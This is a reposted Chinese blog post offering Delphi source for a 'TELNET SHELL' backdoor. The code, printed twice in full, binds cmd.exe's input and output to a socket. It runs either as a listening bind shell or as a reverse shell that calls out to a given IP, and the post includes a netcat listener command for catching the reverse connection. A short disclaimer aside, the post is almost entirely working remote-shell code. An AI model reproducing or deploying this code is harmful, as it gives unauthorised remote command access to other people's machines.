支持正反连接的 TELNET SHELL 程序(附Delph源码)
2008-09-15 18:08
239 查看
转自阿D'blog
TELNET SHELL 的C代码不少,DELPHI的比较少见,我把C代码改成DELPHI代码的,喜欢用DELPHI代码的朋友可以看看!只做编程参考,请匆用于破坏!
使用示例:
DShell.exe 3000 正向连接方式
DShell.exe 192.168.1.200 3000 反向连接方式
反向连接时,请先用NC等待反向的连接
nc -l -p 3000 //端口和上面的指定的端口要相同了
代码如下:
program D_Shell;
{$APPTYPE CONSOLE} //控制台程序
uses windows, Winsock2;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;
function ExtractFileName(const Path: string): string;
var
i, L: integer;
Ch: Char;
begin
L := Length(Path);
for i := L downto 1 do
begin
Ch := Path;
if (Ch = '/') or (Ch = '/') then
begin
Result := Copy(Path, i + 1, L - i);
Break;
end;
end;
end;
const
line = '-----------------------------------------------';
var
wsadata: TWsadata;
MySocket: TSocket;
Addr: TSockAddrIn;
ClientAddr: TSockAddrIn;
ClientAddrLen: integer;
Clientsocket: TSocket;
Buf: array[0..1024] of char;
SI: TStartUpInfo;
PI: TProcessInformation;
re: integer;
str: string;
begin
try
WSAStartup($202, wsaData); //初始化网络
//创建 Socket
MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
case ParamCount of
1: //服务器模式
begin
Addr.sin_family := AF_INET; //
Addr.sin_port := htons(strtoint(ParamStr(1))); //端口
Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址
bind(MySocket, @Addr, SizeOf(TSockAddrIn));
listen(MySocket, 1);
//读取并分配一个新连接进行处理
ClientAddrLen := SizeOf(ClientAddr);
Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);
end;
2: //连接模式
begin
Addr.sin_family := AF_INET;
Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP
Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口
re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接
if re <> 0 then exit;
Clientsocket := MySocket;
end;
else begin //显示帮助信息
writeln(line);
writeln('[啊D TELNET SHELL] '#13#10'<a href="http://www.d99net.net" target="_blank" rel="external">http://www.d99net.net</a>');
writeln(line);
writeln('使用示例:');
str := extractfilename(ParamStr(0)); //得到程序名
writeln(str + ' 3000 正向连接方式');
writeln(str + ' 192.168.1.200 3000 反向连接方式');
exit; //退出
end;
end;
GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置
FillChar(SI, SizeOf(SI), 0);
SI.cb := SizeOf(TStartUpInfo);
SI.dwFlags := $101;
SI.hStdOutput := Clientsocket; //输出到 socket 中
SI.hStdError := Clientsocket;
si.hStdInput := Clientsocket; //把输入的内容输入到CMD管道
createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI); //创建CMD
except
end;
end.
TELNET SHELL 的C代码不少,DELPHI的比较少见,我把C代码改成DELPHI代码的,喜欢用DELPHI代码的朋友可以看看!只做编程参考,请匆用于破坏!
使用示例:
DShell.exe 3000 正向连接方式
DShell.exe 192.168.1.200 3000 反向连接方式
反向连接时,请先用NC等待反向的连接
nc -l -p 3000 //端口和上面的指定的端口要相同了
代码如下:
program D_Shell;
{$APPTYPE CONSOLE} //控制台程序
uses windows, Winsock2;
function StrToInt(const S: string): Integer;
var
E: Integer;
begin
Val(S, Result, E);
end;
function ExtractFileName(const Path: string): string;
var
i, L: integer;
Ch: Char;
begin
L := Length(Path);
for i := L downto 1 do
begin
Ch := Path;
if (Ch = '/') or (Ch = '/') then
begin
Result := Copy(Path, i + 1, L - i);
Break;
end;
end;
end;
const
line = '-----------------------------------------------';
var
wsadata: TWsadata;
MySocket: TSocket;
Addr: TSockAddrIn;
ClientAddr: TSockAddrIn;
ClientAddrLen: integer;
Clientsocket: TSocket;
Buf: array[0..1024] of char;
SI: TStartUpInfo;
PI: TProcessInformation;
re: integer;
str: string;
begin
try
WSAStartup($202, wsaData); //初始化网络
//创建 Socket
MySocket := WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, nil, 0, 0);
case ParamCount of
1: //服务器模式
begin
Addr.sin_family := AF_INET; //
Addr.sin_port := htons(strtoint(ParamStr(1))); //端口
Addr.sin_addr.S_addr := htonl(INADDR_ANY); //任何地址
bind(MySocket, @Addr, SizeOf(TSockAddrIn));
listen(MySocket, 1);
//读取并分配一个新连接进行处理
ClientAddrLen := SizeOf(ClientAddr);
Clientsocket := accept(MySocket, ClientAddr, ClientAddrLen);
end;
2: //连接模式
begin
Addr.sin_family := AF_INET;
Addr.sin_addr.s_addr := inet_addr(pchar(ParamStr(1))); //指定IP
Addr.sin_port := htons(strtoint(ParamStr(2))); //设置端口
re := connect(MySocket, @Addr, SizeOf(TSockAddrIn)); //建立 Socket 连接
if re <> 0 then exit;
Clientsocket := MySocket;
end;
else begin //显示帮助信息
writeln(line);
writeln('[啊D TELNET SHELL] '#13#10'<a href="http://www.d99net.net" target="_blank" rel="external">http://www.d99net.net</a>');
writeln(line);
writeln('使用示例:');
str := extractfilename(ParamStr(0)); //得到程序名
writeln(str + ' 3000 正向连接方式');
writeln(str + ' 192.168.1.200 3000 反向连接方式');
exit; //退出
end;
end;
GetEnvironmentVariable('COMSPEC', buf, 1024); //得到CMD位置
FillChar(SI, SizeOf(SI), 0);
SI.cb := SizeOf(TStartUpInfo);
SI.dwFlags := $101;
SI.hStdOutput := Clientsocket; //输出到 socket 中
SI.hStdError := Clientsocket;
si.hStdInput := Clientsocket; //把输入的内容输入到CMD管道
createProcess(nil, buf, nil, nil, True, 0, nil, nil, SI, PI); //创建CMD
except
end;
end.
相关文章推荐
- Win10提供正反插入的USB 3.1 Type-C标准和USB Dual Role连接的原生支持
- C++封装ADO数据库连接,并附上DLL源码和测试程序
- 用shell脚本为ubuntu自动添加用户,并限定通过ssh连接该用户只能执行特定某个(或某几个)程序
- 基于TCP网络通信的自动升级程序源码分析-客户端连接服务器
- sqlserver2008连接问题,客户端能连接但telnet不通,程序也无法连接
- C#连接Access、SQL Server、Oracle、MySQL、DB2和SyBase六种不同数据库的程序源码
- 配置Apache2.x 支持shell脚本和Python编写CGI程序+测试程序
- java用ServerSocket类结合io流实现一对一聊天(java实现简单的TCP聊天程序只能用telnet连接后方可使用)
- 实现server程序,支持多个client同时连接,为每一个client分配一个进程
- shell脚本使用ssh命令连接主机,自动创建目录,分发程序,执行命令
- 用Telnet连接到远程服务器执行命令的C#程序
- ORACLE telnet 1521 不通及ORA-12514: TNS: 监听程序当前无法识别连接描述符中请求的服务的解决
- Java swing实现钢琴程序,支持录音等功能之Java钢琴源码
- c#做端口转发程序支持正向连接和反向链接
- H2数据库简介及在Web程序中运行的数据库中支持ODBC连接
- 通过异步处理程序构建的长连接消息推送机制,单台服务器可以轻松支持上万个并发连接
- 连接数据库的ASP树图生成程序(源码)
- C#做端口转发程序支持正向连接和反向链接